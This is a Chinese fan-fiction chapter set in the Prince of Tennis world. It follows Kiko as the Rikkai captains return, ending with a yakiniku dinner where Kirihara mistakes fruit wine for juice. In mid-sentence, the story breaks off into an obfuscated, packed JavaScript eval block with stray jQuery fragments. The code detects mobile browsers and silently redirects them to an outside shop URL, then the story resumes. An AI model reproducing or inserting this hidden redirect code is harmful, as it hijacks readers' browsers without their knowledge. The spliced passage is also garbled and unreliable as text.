五月底,幸村、真田和柳三人的集训如期结束,很快就会正式回到立海大。

    熙子是两天前的晚上得知这个消息的,就在仁王逗弄她的那个吻之后,她在落荒而逃后开始后怕——自己怎么就又着了他的道呢!人来人往的网球部,随时会有人闯入的休息室,她居然就在那里和仁王雅治白日宣淫,还是在自己已经下定决心划清界限之后。怎么自己这么不争气,一点都抵挡不了仁王雅治的诱惑?什么欺诈师,魅魔来的吧!想到这里,熙子用手蒙住脸,发出悲戚的哀鸣。

    还好没有人看见这惊险的一幕,但凡有人从窗户边探个头,但凡有人转到了门把手,但凡那个人是切原赤也,或者丸井文太……熙子不敢继续想下去了,按照切原赤也的暴躁性格,把网球部掀翻都是有可能的,至于丸井文太,他会把自己的头盖骨掀翻吧。

    等等,为什么丸井文太会这么生气啊?

    熙子后知后觉地意识到自己给好友安了一个会为自己的桃色新闻生气到离谱的设定,不,丸井文太不会的,他会生气,那也只可能是因为自己在他的眼皮子底下和他的共友兼队友搞暧昧,思路回到正轨后,熙子几乎没怎么犹豫就想象到了丸井文太痛心疾首地说:“暮野,你不把我当朋友了吗?为什么要偷偷做这种事啊!!”这样才正常。退一万步讲,他只是自己的朋友,即使再生气,也会尊重自己的所作所为吧。

    所以自己还是思虑欠佳,这次是侥幸,她可不能保证每次都这样运气好,最好的解决办法是不要再同时和两个人搅和在一起——至少不能都在网球部。

    直到手机叮叮咚咚地响起来,熙子才终于从无边的联想中喘了口气,立海大网球部的群聊已经炸开了锅。起因是幸村晒了一张车票,目的地是神奈川,时间是明天中午。

    [切原赤也:部长要回来了吗!]

    [切原赤也:*惊恐表情*]

    [丸井文太:赤也你这是什么表情?]

    [胡狼桑原:咳咳,赤也,你是误触了对吧,误触]

    [仁王雅治:我们王牌完全的真情流露啊]

    [柳生比吕士:切原君是怀念铁拳制裁了吧?]

    [真田弦一郎:*老年人专用愤怒表情*]

    [真田弦一郎:太松懈了赤也!!!]

    [柳莲二:赤也,你现在解释,还有40%的生还可能]

    [幸村精市:看来在我们不在的日子,赤也过得太舒服了?]

    [切原赤也:糟了,糟了,撤不回了,呜哇——]

    大家在群聊里你一言我一语的甚是热闹,熙子的嘴角不知不觉翘了起来,也忍不住加入了他们的群聊。

    [暮野熙子:欢迎回家!]

    有熙子的这句话,切原像看到了救星,忙不迭地接话。

    [切原赤也:部长,真田副部长,柳前辈,我是要恭喜你们的,恭喜……]

    大家还在群里接二连三地发言,屏幕一条条往上滚,真田又发了一条“赤也明天加训”,一切都是熟悉热闹的日常。这时熙子突然灵光一现,当初文太把自己抓壮丁兼任网球部经理,现在三巨头回来了,自己是不是就可以顺利卸任了?

    卸任之后,自己就可以顺理成章地离网球部远远的,在喜欢上仁王雅治之前,在切原赤也喜欢上自己之前,悄无声息地给他们的关系划上句号。没错,就是这样,再去寻找一个新的嘴友,一个不在网球部的,与他们毫无牵扯的人……

    熙子带着胜券在握的信念进入了梦乡。

    ******

    第二天下午,熙子站在场边,怀里抱着厚厚一沓训练日志,久违地看到三个人影从球场入口走进来。幸村精市走在最前面,披在肩上的外套随着他的步伐轻轻起伏;真田弦一郎在他的左后方,冷峻地压了压帽檐;跟在右后方的柳表情则平和得多,不动声色的观察着全场。

    “部长!真田副部长!柳前辈!”

    切原本来正在喝水,看到幸村走进来的时候呛了一口,又惊又喜地喊,场上的训练随之停了下来,“部长好”“副部长好”“参谋好”的问候声此起彼伏。正选们倒是情绪稳定,各自打了声招呼,又继续投入了激烈的训练中。

    幸村最先注意到熙子,率领身后的二人穿过球场走到她面前,目光落在她怀里的那沓纸上:“这是——”

    幸村精市这个人对她来说不算陌生——她和他打过几次照面,来网球部找丸井文太的时候也远远看到过他在场边指导。但幸村精市天生带有一种疏离感,打过照面和如此近距离的说话是完全不同的两回事。他站在她面前,离她不到一臂的距离,午后的阳光从他身后打过来,在他肩头蓝色的发尾上镀了一层柔和的光晕,五官在朦胧的光线里更显俊美,眉眼温润,嘴角带着一丝温和的笑意。熙子愣愣地看着幸村,一时竟忘了呼吸。

    “暮野同学?”幸村又试探性地叫了一声。

    糟糕,看太入迷了,熙子手里的那沓纸的边角已经在她指腹下捏出了一道浅浅的压痕。

    “这……这是大家一个月来的训练日志。”熙子如梦方醒地把日志递过去,恢复了正常,“按照要求记录的,每一项都有正选签字确认。”

    幸村接过那沓纸,没有立刻翻,“啊,谢谢暮野同学,”他微笑着说,“这一个月真是辛苦你了。”

    “没错,”真田点点头,声音比幸村沉一些,“那几个家伙没给你惹麻烦吧?”

    他的视线从她脸上移开,扫向球场方向,意有所指。熙子装作没注意到,谦逊地摇了摇头:“没有,大家都很配合我的工作,也指导我许多。”

    “你似乎清减了一些,”柳淡淡的声音从另一侧传来,带着一丝不易察觉的关怀,“果然还是太累了吗?”

    熙子愣了一下。她没想到柳会注意到这个——她照镜子的时候确实觉得自己的脸似乎没有一个月前那么圆了,但她以为那是偶尔的水肿,或者只是光线角度的问题,可这句话从柳嘴里说出来就是客观事实了——无论如何,这都是个值得开心的好消息。“真的吗?”熙子摸了一下自己的脸,语气里带着近乎雀跃的欣喜,“真的瘦了?”

    柳的表情出现了一个极短暂的停滞,显然没料到熙子会已读乱回。真田则无奈地捂住了额头:“……这句话不是夸赞,是提醒你注意身体健康。”

    幸村倒是被熙子浅薄的心态逗得笑出了声,阳光在他的唇角跳跃了一下:“那是该进补了,”他和另外两人交换了一下眼神,“正好,为了表达这一个月来的感谢,大家想请你吃饭,愿意赏个脸吗?”

    ******

    烤肉店里的烟在暖黄色的灯光里缓缓升腾,铁网上的肉片滋滋作响,香气扑鼻。熙子回去换了身衣服,来得稍稍迟了一些,等她到的时候,大家已经各自就位,快活的说笑声把整个包间都填满了。

    文太朝她招了招手,拍了拍身边那个空位,熙子顺势坐了下来。然后切原出其不意地像一道风一样从对面绕过来,在她右边落了座,于是她就这样被夹在了文太和切原中间。对面的仁王投来一个意味深长的眼神,又转过头去和柳生说话了。

    在这样的场合,不会有什么事的吧,况且还有三巨头坐镇,熙子决定无视这奇怪的位次和仁王的眼神,专心投入到饭局中。

    席间热闹得不行。幸村坐在长桌的一端,说起集训时真田被拉去和冰帝的迹部景吾临时组双打,结果被人当成明星选手追着要签名,真田尴尬地解释说都怪迹部那家伙太骚包,非要自己陪他做那一套打响指的手势,仁王见缝插针道其实你也很享受吧,成功把真田问到脸红。柳坐在靠里的位置,适时地接过话茬解救真田,说他们那段时间每天的训练量是多少多少公里,引得切原发出一声夸张的“诶——?!”

    熙子本来也在专注地听大家讲集训的趣事,突然发现自己面前多了几块火候正好的牛肉。身边的文太晃着夹子,显然是他的杰作。熙子和文太早过了客气的阶段,干脆直接地把肉送进了嘴里。

    “好吃吗?”文太的声音带着一点期待。

    “好…唔…吃。”熙子说的是实话。但肉太烫了,她呼了口气,又不好意思吐出来,只好用手扇了扇。

    “前辈你小心烫!”右边传来切原急切的声音,伴随着一杯冰水被推

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17909485|213078||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    到她面前的动作,“喝点水!”

    仁王坐在对面,夹了一片肉放到烤盘上,滋啦一声之后,才好整以暇地开口:“赤也啊,你最近学得还挺快的嘛。”

    熙子不动声色地捏紧了水杯。

    切原困惑地看着仁王:“……什么?”

    “没什么,”仁王和文太交换了一下眼神,“大概和前辈们在一起待久了,越来越会照顾人了,不愧是我们的ACE。”

    切原眨眨眼,意识到仁王在夸自己,得意地尾巴要翘到天上去:“当然了,我和熙子前辈毕竟——唔!”

    生怕他说出什么不该说的话,熙子眼疾手快地用肉堵住了他的嘴巴,斜对面的柳生露出了震惊的神色:“暮野同学,这,这太不淑女了。”

    ******

    烤肉进行到中段的时候,桌上多了几瓶空饮料罐,多数人已经放下了筷子开始了中场休息,唯独文太又烤了一轮,完全没有吃饱的迹象。这次他有些心急了,刚烤好还冒着热气的五花肉被他一股脑地塞进了嘴里,然后皱起了眉。

    熙子在旁边看着,忽然觉得他的表情很生动——被烫到也不肯吐出来,嘴巴鼓鼓地像小松鼠。她正想调侃他一句,手边的杯子忽然被眼前人拿起来了。

    文太的下唇印在了杯沿处,和熙子留下的淡淡的口红印几乎重叠。熙子愣了一下,下意识的开口提醒“丸井那是……”,但话说到一半又停住了,因为文太已经咕嘟嘟地往喉咙里灌了一半,然后眯起眼睛,一脸舒爽幸福的神情:“哇,痛快。”

    他的表情很坦荡,语气也是,仿佛刚刚的行为在这个热闹的饭桌上是一个小的不能再小的插曲,小到她自己差点也要忽略。但是熙子脑子里不受控制地跳出了另一个画面——在休息室,仁王也是这样,喝了她杯子里的水。

    可是那不一样,仁王和她毕竟是有实质的接过吻的关系,共用一个吸管不是什么大不了的事情,可是文太是朋友,怎么也毫无顾忌地用了她的杯子呢?也许他只是被肉烫到了——她不能因为一杯水就对朋友产生什么奇奇怪怪的猜测。而且她和他之间是那么自然的友谊关系,互相分享是常态,完全不用小题大做……

    但她还没想清楚,切原的声音已经从右边炸开了:“丸井前辈你怎么喝暮野前辈的水啊!”

    “怎么了,她那杯是冰的嘛。”文太回答得理直气壮。

    “那、那你也不能随便拿别人的杯子啊!”

    “赤也,你下次也可以拿我的啊,”文太朝他wink了一下,一股逗小孩的语气,“我不介意。”

    “我不是要喝你的水!!”切原提高了嗓门,恼羞成怒地喊。

    默默观看了全程的桑原在旁边忍不住笑了出来,幸村和真田似乎也被这边的动静吸引了视线,隔着一桌的肉和烟,朝他们的方向看了一眼。

    熙子别过眼睛,刻意忽视了来自对面的那一道灼热的视线。

    打嘴仗失败的切原端着一杯饮料,气哼哼地往嘴里灌。熙子最开始没注意,后来她发现他端杯子的频率好像有点高——每次抢完一轮肉就端起来灌一口,喝完又继续抢,循环往复,乐此不疲。

    出于前辈的关心,熙子看了他的杯子一眼,杯子里是橙色的液体,看起来像是某种果汁气泡水。她把目光移到桌子上的玻璃瓶身,包装是色彩斑斓的热带风格,除了一串泰文,还有一个醒目的“Fruit Wine”,底部还有一个小小的“Alcohol”,等等,“Wine”?“Alcohol”??

    几乎是同时,切原把杯子放下了。

    杯底磕在桌子上发出沉闷的一声响,切原的眼神开始变得散漫,像是有一层薄薄的水雾浮在瞳孔表面。他费力眨了眨眼睛,然后突然转向桑原的方向,猛地拍了一下桌子。

    “胡狼前辈!”

    桑原正夹着一片肉往嘴里送,被这突如其来的点名吓得筷子一抖,肉掉回了烤盘上。他抬起头:“……怎么了赤也?”

    切原的脸已经开始泛红了,从颧骨蔓延到耳尖,他瞪着桑原,声音比平时高了整整一个八度:“我要跟你单挑!现在!就在这里!”